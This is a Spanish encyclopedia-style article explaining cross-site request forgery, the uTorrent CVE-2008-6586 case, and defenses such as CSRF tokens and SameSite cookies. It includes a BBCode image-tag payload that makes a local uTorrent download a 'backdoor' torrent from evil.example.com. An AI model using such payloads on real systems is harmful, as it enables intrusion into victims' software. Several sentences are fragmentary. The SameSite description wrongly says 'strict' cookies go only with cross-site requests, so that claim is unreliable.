La falsificación de solicitud entre sitios , también conocida como ataque de un clic o robo de sesión y abreviada como CSRF (a veces pronunciado sea-surf [1] ) o XSRF , es un tipo de explotación maliciosa de un sitio web o aplicación web donde se envían comandos no autorizados desde un usuario en el que la aplicación web confía. [2] Hay muchas formas en las que un sitio web malicioso puede transmitir dichos comandos; etiquetas de imagen especialmente diseñadas, formularios ocultos y búsquedas de JavaScript o XMLHttpRequests, por ejemplo, pueden funcionar sin la interacción o incluso el conocimiento del usuario. A diferencia de los scripts entre sitios (XSS), que explotan la confianza que un usuario tiene en un sitio en particular, CSRF explota la confianza que un sitio tiene en el navegador de un usuario. [3] En un ataque CSRF, un usuario final inocente es engañado por un atacante para que envíe una solicitud web que no pretendía. Esto puede hacer que se realicen acciones en el sitio web que pueden incluir fugas involuntarias de datos del cliente o servidor, cambio de estado de sesión o manipulación de la cuenta de un usuario final.
El término "CSRF" también se utiliza como abreviatura en las defensas contra ataques CSRF, como técnicas que utilizan datos de encabezado, datos de formulario o cookies para probar y prevenir dichos ataques.
En un ataque CSRF, el objetivo del atacante es provocar que una víctima inocente envíe sin saberlo una solicitud web malintencionada a un sitio web al que la víctima tiene acceso privilegiado. Esta solicitud web puede estar diseñada para incluir parámetros de URL, cookies y otros datos que parecen normales para el servidor web que procesa la solicitud. Están en riesgo las aplicaciones web que realizan acciones basadas en la información de usuarios confiables y autenticados sin requerir que el usuario autorice (por ejemplo, mediante una confirmación emergente) la acción específica. Un usuario que está autenticado por una cookie guardada en el navegador web del usuario podría enviar sin saberlo una solicitud HTTP a un sitio que confía en el usuario y, por lo tanto, provocar una acción no deseada.
Una propiedad general de los navegadores web es que incluirán de forma automática e invisible cualquier cookie (incluidas las cookies de sesión y otras) utilizadas por un dominio determinado en cualquier solicitud web enviada a ese dominio. Esta propiedad es explotada por los ataques CSRF. En el caso de que un usuario sea engañado para que envíe una solicitud sin darse cuenta a través de su navegador, estas cookies incluidas automáticamente harán que la solicitud falsificada parezca real para el servidor web y este realizará las acciones solicitadas de forma apropiada, incluida la devolución de datos, la manipulación del estado de la sesión o la realización de cambios en la cuenta de la víctima.
Para que un ataque CSRF funcione, un atacante debe identificar una solicitud web reproducible que ejecute una acción específica, como cambiar la contraseña de una cuenta en la página de destino. Una vez que se identifica dicha solicitud, se puede crear un enlace que genere esta solicitud maliciosa y ese enlace se puede incrustar en una página dentro del control del atacante. [1] [4] Este enlace se puede colocar de tal manera que ni siquiera sea necesario que la víctima haga clic en el enlace. Por ejemplo, se puede incrustar dentro de una etiqueta de imagen html en un correo electrónico enviado a la víctima que se cargará automáticamente cuando la víctima abra su correo electrónico. Una vez que la víctima ha hecho clic en el enlace, su navegador incluirá automáticamente todas las cookies utilizadas por ese sitio web y enviará la solicitud al servidor web. El servidor web no podrá identificar la falsificación porque la solicitud fue realizada por un usuario que había iniciado sesión y envió todas las cookies necesarias.
La falsificación de solicitud entre sitios es un ejemplo de un ataque de adjunto confuso contra un navegador web porque un atacante con menos privilegios engaña al navegador para que envíe una solicitud falsificada.
CSRF comúnmente tiene las siguientes características:
Las vulnerabilidades de los tokens CSRF se conocen y, en algunos casos, se han explotado desde 2001. [5] Debido a que se lleva a cabo desde la dirección IP del usuario , es posible que algunos registros de sitios web no tengan evidencia de CSRF. [2] Los exploits no se denuncian lo suficiente, al menos públicamente, y en 2007 [6] había pocos ejemplos bien documentados:
En 2018 se llevaron a cabo nuevos ataques contra dispositivos con acceso a Internet, incluidos intentos de cambiar la configuración DNS de los enrutadores. Algunos fabricantes de enrutadores lanzaron rápidamente actualizaciones de firmware para mejorar la protección y recomendaron a los usuarios que cambiaran la configuración del enrutador para reducir el riesgo. No se dieron a conocer detalles, citando "obvias razones de seguridad". [10]
Los atacantes que pueden encontrar un enlace reproducible que ejecute una acción específica en la página de destino mientras la víctima está conectada pueden insertar dicho enlace en una página que controlen y engañar a la víctima para que la abra. [1] El enlace portador del ataque puede colocarse en una ubicación que la víctima probablemente visite mientras esté conectada al sitio de destino (por ejemplo, un foro de discusión), o enviarse en el cuerpo de un correo electrónico en formato HTML o en un archivo adjunto. Una vulnerabilidad CSRF real en uTorrent (CVE-2008-6586) explotó el hecho de que su consola web accesible en localhost :8080 permitía ejecutar acciones críticas utilizando una simple solicitud GET:
Los ataques se lanzaron colocando elementos de imagen HTML maliciosos y de acción automática en foros y correos electrónicos no deseados , de modo que los navegadores que visitaran estas páginas las abrieran automáticamente, sin mucha acción del usuario. Las personas que ejecutaban la versión vulnerable de uTorrent al mismo tiempo que abrían estas páginas eran susceptibles al ataque.
Los ataques CSRF que utilizan etiquetas de imágenes suelen realizarse desde foros de Internet , donde los usuarios pueden publicar imágenes pero no JavaScript , por ejemplo usando BBCode :
[img] http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent [/img]Al acceder al enlace de ataque a la aplicación uTorrent local en localhost:8080 , el navegador también enviaría automáticamente todas las cookies existentes para ese dominio. Esta propiedad general de los navegadores web permite que los ataques CSRF exploten sus vulnerabilidades específicas y ejecuten acciones hostiles siempre que el usuario esté conectado al sitio web de destino (en este ejemplo, la interfaz web local de uTorrent) en el momento del ataque.
En el ejemplo de uTorrent descrito anteriormente, el ataque se vio facilitado por el hecho de que la interfaz web de uTorrent utilizaba una solicitud GET para operaciones críticas de cambio de estado (cambiar credenciales, descargar un archivo, etc.), lo que el RFC 2616 desaconseja explícitamente:
En particular, se ha establecido la convención de que los métodos GET y HEAD NO DEBEN tener la importancia de realizar una acción distinta a la recuperación. Estos métodos deben considerarse "seguros". Esto permite que los agentes de usuario representen otros métodos, como POST, PUT y DELETE, de una manera especial, de modo que el usuario sea consciente del hecho de que se está solicitando una acción posiblemente insegura.
Debido a esta suposición, muchos mecanismos de prevención CSRF existentes en los marcos web no cubrirán las solicitudes GET , sino que aplicarán la protección solo a los métodos HTTP que están destinados a cambiar el estado. [11]
Un atacante puede falsificar una solicitud para que la víctima inicie sesión en un sitio web de destino utilizando las credenciales del atacante; esto se conoce como login CSRF . Login CSRF hace posibles varios ataques novedosos; por ejemplo, un atacante puede iniciar sesión más tarde en el sitio con sus credenciales legítimas y ver información privada como el historial de actividad que se ha guardado en la cuenta. Este ataque se ha demostrado contra Google [12] y Yahoo . [13]
Dependiendo del tipo, los métodos de solicitud HTTP varían en su susceptibilidad a los ataques CSRF (debido a las diferencias en su procesamiento por parte de los navegadores web ). Por lo tanto, las medidas de protección contra un ataque dependen del método de la solicitud HTTP.
field1=value1&field2=value2), el ataque CSRF se implementa fácilmente utilizando un formulario HTML simple y se deben aplicar medidas anti-CSRF.ENCTYPEatributos; una solicitud falsa de este tipo se puede distinguir de las legítimas por text/plainel tipo de contenido, pero si esto no se aplica en el servidor, se puede ejecutar CSRF [14] [15]Access-Control-Allow-Origin: *el encabezadoAdemás, aunque normalmente se describe como un tipo de ataque estático, el CSRF también se puede construir dinámicamente como parte de una carga útil para un ataque de secuencias de comandos entre sitios , como lo demuestra el gusano Samy , o se puede construir sobre la marcha a partir de información de sesión filtrada a través de contenido externo y enviada a un objetivo como una URL maliciosa. Los tokens CSRF también pueden ser enviados a un cliente por un atacante debido a la fijación de la sesión u otras vulnerabilidades, o adivinados a través de un ataque de fuerza bruta, presentados en una página maliciosa que genera miles de solicitudes fallidas. La clase de ataque de "CSRF dinámico", o el uso de una carga útil por cliente para la falsificación específica de la sesión, fue descrita [16] en 2009 por Nathan Hamiel y Shawn Moyer en los BlackHat Briefings, [17] aunque la taxonomía aún no ha ganado una adopción más amplia.
En una reunión del capítulo local de OWASP en enero de 2012, Oren Ofer presentó un nuevo vector para componer ataques CSRF dinámicos: "AJAX Hammer – Dynamic CSRF". [18] [19]
Se han emitido métricas de gravedad para vulnerabilidades de token CSRF que resultan en ejecución de código remoto con privilegios de raíz [20] así como una vulnerabilidad que puede comprometer un certificado raíz , lo que debilitará por completo una infraestructura de clave pública . [21]
Para que la falsificación de solicitud entre sitios tenga éxito deben ocurrir varias cosas:
El ataque es ciego: el atacante no puede ver lo que el sitio web de destino envía a la víctima en respuesta a las solicitudes falsificadas, a menos que explote un error de secuencias de comandos entre sitios u otro error en el sitio web de destino. De manera similar, el atacante solo puede apuntar a cualquier enlace o enviar cualquier formulario que aparezca después de la solicitud falsificada inicial si esos enlaces o formularios posteriores son igualmente predecibles. (Se pueden simular múltiples objetivos incluyendo múltiples imágenes en una página o utilizando JavaScript para introducir un retraso entre clics). [23]
La mayoría de las técnicas de prevención de CSRF funcionan incorporando datos de autenticación adicionales en las solicitudes que permiten que la aplicación web detecte solicitudes de ubicaciones no autorizadas.
El patrón de token sincronizador (STP) es una técnica en la que la aplicación web incorpora un token, un valor secreto y único para cada solicitud, en todos los formularios HTML y lo verifica en el lado del servidor. El token puede generarse mediante cualquier método que garantice la imprevisibilidad y la unicidad (por ejemplo, utilizando una cadena hash de semillas aleatorias). Esto se denomina token antifalsificación en ASP.NET. Por lo tanto, el atacante no puede colocar un token correcto en sus solicitudes para autenticarlas. [1] [24] [25]
Ejemplo de STP establecido por Django en un formulario HTML:
< tipo de entrada= "oculto" nombre= "csrfmiddlewaretoken" valor= "KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" /> STP es el más compatible, ya que solo se basa en HTML, pero introduce cierta complejidad en el lado del servidor, debido a la carga asociada con la verificación de la validez del token en cada solicitud. Como el token es único e impredecible, también impone una secuencia adecuada de eventos (por ejemplo, pantalla 1, luego 2, luego 3), lo que genera problemas de usabilidad (por ejemplo, el usuario abre varias pestañas). Se puede flexibilizar utilizando un token CSRF por sesión en lugar de un token CSRF por solicitud.
Las aplicaciones web que utilizan JavaScript para la mayoría de sus operaciones pueden utilizar la siguiente técnica anti-CSRF:
Establecer cookie: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; Caduca el jueves 23 de julio de 2015 a las 10:25:33 GMT; Edad máxima=31449600; Ruta=/; SameSite=Lax; Segura
Token X-Csrf: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
La seguridad de esta técnica se basa en el supuesto de que solo el código JavaScript que se ejecuta en el lado del cliente de una conexión HTTPS al servidor que configuró inicialmente la cookie podrá leer el valor de la cookie. El código JavaScript que se ejecuta desde un archivo o correo electrónico no autorizado no debería poder leer correctamente el valor de la cookie para copiarlo en el encabezado personalizado. Aunque la cookie csrf-token se puede enviar automáticamente con la solicitud no autorizada, de acuerdo con la política de cookies de SameSite, el servidor seguirá esperando un encabezado X-Csrf-Token válido .
El token CSRF en sí debe ser único e impredecible. Puede generarse aleatoriamente o puede derivarse del token de sesión mediante HMAC :
csrf_token = HMAC(token_de_sesión, secreto_de_aplicación)
La cookie del token CSRF no debe tener el indicador httpOnly , ya que está diseñada para ser leída por JavaScript .
Esta técnica se implementa en muchos marcos modernos, como Django [26] y AngularJS . [27] Debido a que el token permanece constante durante toda la sesión del usuario, funciona bien con aplicaciones AJAX , pero no impone una secuencia de eventos en la aplicación web.
La protección proporcionada por esta técnica se puede frustrar si el sitio web de destino desactiva su política del mismo origen utilizando una de las siguientes técnicas:
De manera similar al enfoque de cookie a encabezado, pero sin involucrar a JavaScript, un sitio puede configurar un token CSRF como una cookie y también insertarlo como un campo oculto en cada formulario HTML. Cuando se envía el formulario, el sitio puede verificar que el token de la cookie coincida con el token del formulario. La política del mismo origen evita que un atacante lea o configure cookies en el dominio de destino, por lo que no puede colocar un token válido en su formulario creado. [30]
La ventaja de esta técnica sobre el patrón Sincronizador es que no es necesario almacenar el token en el servidor.
Se puede incluir un atributo adicional "SameSite" cuando el servidor establece una cookie, indicando al navegador si debe adjuntar la cookie a las solicitudes entre sitios. Si este atributo se establece en "strict", la cookie solo se enviará en solicitudes entre sitios, lo que hace que CSRF no sea eficaz. Sin embargo, esto requiere que el navegador reconozca e implemente correctamente el atributo. [31]
Las extensiones de navegador como RequestPolicy (para Mozilla Firefox ) o uMatrix (para Firefox y Google Chrome / Chromium ) pueden evitar CSRF al proporcionar una política de denegación predeterminada para las solicitudes entre sitios. Sin embargo, esto puede interferir significativamente con el funcionamiento normal de muchos sitios web. La extensión CsFire (también para Firefox) puede mitigar el impacto de CSRF con un menor impacto en la navegación normal, al eliminar la información de autenticación de las solicitudes entre sitios.
La extensión NoScript para Firefox mitiga las amenazas CSRF al distinguir los sitios confiables de los que no lo son y al eliminar la autenticación y las cargas útiles de las solicitudes POST enviadas por sitios no confiables a los confiables. El módulo Application Boundary Enforcer de NoScript también bloquea las solicitudes enviadas desde páginas de Internet a sitios locales (por ejemplo, localhost), lo que evita los ataques CSRF a servicios locales (como uTorrent) o enrutadores.
La extensión Self Destructing Cookies para Firefox no protege directamente contra CSRF, pero puede reducir la ventana de ataque al eliminar las cookies tan pronto como ya no estén asociadas con una pestaña abierta.
Históricamente se han utilizado o propuesto varias otras técnicas para la prevención del CSRF:
X-Requested-With(usado por Ruby on Rails antes de v2.0 y Django antes de v1.2.5), o verificar el Refererencabezado HTTP y/o Originel encabezado HTTP. [32]Referer para ver si la solicitud proviene de una página autorizada se utiliza habitualmente en dispositivos de red integrados porque no aumenta los requisitos de memoria. Sin embargo, una solicitud que omite el Refererencabezado debe tratarse como no autorizada porque un atacante puede suprimir el Refererencabezado emitiendo solicitudes desde URL FTP o HTTPS. Esta Referervalidación estricta puede causar problemas con los navegadores o servidores proxy que omiten el Refererencabezado por razones de privacidad. Además, las versiones antiguas de Flash (anteriores a 9.0.18) permiten que Flash malintencionado genere solicitudes GET o POST con encabezados de solicitud HTTP arbitrarios mediante inyección CRLF . [33] Se pueden utilizar vulnerabilidades de inyección CRLF similares en un cliente para falsificar el referente de una solicitud HTTP.<script>elementos ( secuestro de JavaScript ); también previene problemas (no relacionados con la seguridad) con rastreadores web agresivos y precarga de enlaces . [1]Las vulnerabilidades de secuencias de comandos entre sitios (XSS) (incluso en otras aplicaciones que se ejecutan en el mismo dominio) permiten a los atacantes eludir prácticamente todas las prevenciones CSRF. [34]